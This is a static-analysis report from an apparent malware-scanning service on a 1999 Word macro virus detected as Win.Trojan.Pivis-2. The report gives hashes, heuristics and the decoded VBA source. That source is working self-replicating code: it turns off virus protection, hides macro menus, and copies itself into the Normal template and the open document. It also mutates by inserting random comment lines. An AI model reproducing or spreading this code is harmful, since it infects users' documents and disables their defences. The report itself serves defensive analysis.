Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 0714478bdc0008bf…

MALICIOUS

Office (OLE)

47.0 KB Created: 1999-11-15 00:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2171247367736e47acbe3c5b7f456932 SHA-1: d9ca5feee24a8494593ad29b58db72e83e9a1d31 SHA-256: 0714478bdc0008bf92a57da01ec98d9c2da40e73a68c02524f69570d350d1536
180 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon document opening or closing. The script attempts to export a component to 'c:\Hubad.dll' and import it back, a technique often used to obfuscate or prepare a payload. The ClamAV detection name 'Win.Trojan.Pivis-2' further supports its malicious nature. The document body provides a generic warning about email security, which is likely a lure to make the user more complacent about enabling macros.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15030 bytes
SHA-256: 97e083f99544dcadfc72af442c394aec34dfb969aa35174e07ec7f47ed4bb903
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Hubad"
    Rem CKISIUDPYGYCZQPXOG
    Rem JATVHSKV
    Rem URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG
    Rem NTU
    Rem MZFJKHNDNZOXRLSBTSMEFI
    Rem KHZUSKTHJLYDQJCECL
    Rem MTTKXTCQS
    Rem DEBSN
    Rem VFYBBUJ
    Rem VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP
    Rem HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN
    Rem CPEYCLHWTHRGCA
    Rem TKMM
    Rem NKCULTPVAFBCIDANROVCERLJDSY
    Rem XLRNNMJKHBGZBKJMEMGQOE
    Rem OSXV
    Rem QFEPCLXGUJHXQQ
    Rem CZRAOCCUHBHJHYZKHEEQKK
    Rem QQGHVVPZXFSZ
    Rem PHHUATVSBKWUJZWBYJNTBP
Sub Hubad(): On Error Resume Next: WordBasic.DisableAutoMacros 0: Options.ConfirmConversions = False: Options.VirusProtection = False: Options.SaveNormalPrompt = False: ActiveDocument.ReadOnlyRecommended = False
CommandBars("tools").Controls("Macro").Delete: CommandBars("tools").Controls("Templates and add-ins...").Delete
ActiveDocument.VBProject.VBComponents("Hubad").Export "c:\Hubad.dll"
If NormalTemplate.VBProject.VBComponents.Item("Hubad").Name <> "Hubad" Then RfRs94632268 = True
If ActiveDocument.VBProject.VBComponents.Item("Hubad").Name <> "Hubad" Then FuQf32267 = True
If RfRs94632268 = True And FuQf32267 = False Then Set RsTi32269463 = NormalTemplate.VBProject.VBComponents
If RfRs94632268 = False And FuQf32267 = True Then Set RsTi32269463 = ActiveDocument.VBProject.VBComponents
RsTi32269463.import "c:\Hubad.dll"
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If FuQf32267 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
HubadNa:
Set Current = MacroContainer
For Grow = 1 To 20
Number = Current.VBProject.VBComponents("Hubad").CodeModule.ProcCountLines("SkNrOp5699", vbext_pk_Proc)
RandomLine = Int(Rnd() * Number + 1)
RemarkLength = Int(Rnd() * 40 + 1)
For Length = 1 To RemarkLength
Remark = Remark + Chr$(Int((90 - 65 + 1) * Rnd + 65))
Next Length
Current.VBProject.VBComponents("Hubad").CodeModule.InsertLines RandomLine, vbTab & "Rem " & Remark
Remark = "": Next Grow: End Sub
Sub FilePrint()
'+++++++++++++++++++++++++++++++++++++++++++++++++++
'Hubad by Lucky Warrior
'Copyright (c) 1999 Bgy. Tiguib, Oras, Eastern Samar
'All rights reserved.
'+++++++++++++++++++++++++++++++++++++++++++++++++++
On Error Resume Next
Ganda = "                         8888  8888888" & Chr(13)
Ganda = Ganda & "               8888:::8888888888888888888888888" & Chr(13)
Ganda = Ganda & "             8888::::::8888888888888888888888888888 " & Chr(13)
Ganda = Ganda & "            88::::::::888:::8888888888888888888888888" & Chr(13)
Ganda = Ganda & "          88888888::::8:::::::::::88888888888888888888" & Chr(13)
Ganda = Ganda & "        888 8::888888::::::::::::::::::88888888888   888" & Chr(13)
Ganda = Ganda & "           88::::88888888::::m::::::::::88888888888    8" & Chr(13)
Ganda = Ganda & "         888888888888888888:M:::::::::::8888888888888" & Chr(13)
Ganda = Ganda & "        88888888888888888888::::::::::::M88888888888888" & Chr(13)
Ganda = Ganda & "        8888888888888888888888:::::::::M8888888888888888" & Chr(13)
Ganda = Ganda & "         8888888888888888888888:::::::M888888888888888888" & Chr(13)
Ganda = Ganda & "        8888888888888888::88888::::::M88888888888888888888" & Chr(13)
Ganda = Ganda & "      88888888888888888:::88888:::::M888888888888888   8888" & Chr(13)
Ganda = Ganda & "     88888888888888888:::88888::::M::;o*M*o;888888888    88" & Chr(13)
Ganda = Ganda & "    88888888888888888:::8888:::::M:::::::::::88888888    8" & Chr(13)
Ganda = Ganda & "   88888888888888888::::88::::::M:;:::::::::::888888888" & Chr(13)
Ganda = Ganda & "  8888888888888888888:::8::::::M::aAa::::::::M8888888888       8" & Chr(13)
Ganda = Ganda & "  88   8888888888::88::::8::::M:::::::::::::888888888888888 8888" & Chr(13)
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.